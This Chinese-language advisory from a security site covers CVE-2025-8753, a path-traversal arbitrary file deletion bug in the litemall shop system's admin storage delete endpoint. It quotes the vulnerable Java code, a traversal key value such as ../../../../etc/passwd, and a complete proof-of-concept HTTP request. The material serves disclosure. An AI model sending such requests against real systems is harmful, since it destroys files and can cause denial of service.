首页 网络安全 正文
  • 本文约1126字,阅读需6分钟
  • 2
  • 0

Linlinjava litemall文件删除路径遍历CVE-2025-8753

摘要

栋科技漏洞库关注到 Linlinjava litemall 受影响版本中存在一个漏洞,该漏洞现在已被追踪为CVE-2025-8753,漏洞的CVSS 4.0评分为5.3。

Linlinjava litemall是个以SpringBoot + Vue管理员前端 + 微信小程序用户前端 + Vue用户移动端组成的一个小商城,gitee的Star有6000+。

一、基本情况

LiteMall 是一款集前沿技术一体轻量级商城系统,旨在提供实践体验,采用Spring Boot 作为后端框架,搭配 Vue.js 构建管理员前端界面。

Linlinjava litemall 拥有针对微信小程序用户的前端设计,通过结合这些技术栈,产品实现了从首页浏览到订单管理的一站式电商解决方案。

Linlinjava litemall文件删除路径遍历CVE-2025-8753

栋科技漏洞库关注到 Linlinjava litemall 受影响版本中存在一个漏洞,该漏洞现在已被追踪为CVE-2025-8753,漏洞的CVSS 4.0评分为5.3。

二、漏洞分析

CVE-2025-8753漏洞存在于 Linlinjava litemall 至版本1.8.0之中,受影响的是组件文件处理器中的“/admin/storage/delete”文件的删除功能。

具体而言,CVE-2025-8753漏洞是一个 Linlinjava Litemall 轻量级商城系统中的/admin/storage/delete的端点存在一个任意文件删除漏洞。

源于信任用户提供的文件路径,而不执行验证或路径规范化,白名单限制的缺失和关键参数不当过滤直接导致了路径遍历和任意删除攻击。

由于对用户输入验证不充分,具有删除权限的经过身份验证的用户可手工请求从服务器的文件系统中删除任何文件,包括重要的系统文件。

攻击者通过操作参数key可导致路径遍历,此漏洞会带来很高的风险,因为它直接导致拒绝服务或进一步危害系统,且攻击可能远程发起。

该漏洞存在,使得具有有效凭据但权限较低的攻击者可以删除任意系统文件,可能导致拒绝服务、关键系统数据丢失,并可能进一步利用。

1、该漏洞源于以下代码路径:

@RequiresPermissions("admin:storage:delete")
@RequiresPermissionsDesc(menu = {"系统管理", "对象存储"}, button = "删除")
@PostMapping("/delete")
public Object delete(@RequestBody LitemallStorage litemallStorage) {
    String key = litemallStorage.getKey();
    if (StringUtils.isEmpty(key)) {
        return ResponseUtil.badArgument();
    }
    litemallStorageService.deleteByKey(key);
    storageService.delete(key); // <-- sink
    return ResponseUtil.ok();
}

2、用户控制的关键参数直接传递给:

@Override
public void delete(String filename) {
    Path file = load(filename);
    try {
        Files.delete(file);
    } catch (IOException e) {
        logger.error(e.getMessage(), e);
    }
}

由于密钥没有净化或路径限制,攻击者可以提供任意路径(例如../../../../etc/passwd),从而删除任意系统文件。

三、POC概念验证

1、我们在windows中进行测试:

POST /admin/storage/delete HTTP/1.1
Host: localhost:8080
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1753431455,1753436446,1753450237; JSESSIONID=acdcb3c3-1eda-4407-9691-000f90d200f5; X-Litemall-Admin-Token=acdcb3c3-1eda-4407-9691-000f90d200f5
sec-ch-ua: "Not)A;pand";v="8", "Chromium";v="138", "Google Chrome";v="138"
Origin: http://localhost:9527
Sec-Fetch-Site: same-site
Accept-Encoding: gzip, deflate, p, zstd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Sec-Fetch-Dest: empty
Referer: http://localhost:9527/
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
X-Litemall-Admin-Token: acdcb3c3-1eda-4407-9691-000f90d200f5
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: cors
Accept: application/json, text/plain, /
sec-ch-ua-platform: "Windows"
Content-Length: 227
{"id":1,"key":"C:\Users\86138\Desktop\a.class","name":"2.jpg","type":"image/jpeg","size":3781,"url":"http://localhost:8080/wx/storage/fetch/6fq5na4x56qvqpfm6niy.jpg","addTime":"2025-07-28 09:27:12","updateTime":"2025-07-28 09:27:12"}

Linlinjava litemall文件删除路径遍历CVE-2025-8753

2、开发场景

攻击者使用恶意键值制作请求,例如。./../../重要/系统/文件。

后端解析此路径并调用Files.delete(),有效地删除任意文件。

这可用于删除应用程序资源、配置文件、日志,甚至关键的操作系统文件,从而可能导致拒绝服务或进一步的权限升级。

四、影响范围

Linlinjava litemall <= 1.8.0

五、修复建议

Linlinjava litemall > 1.8.0

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接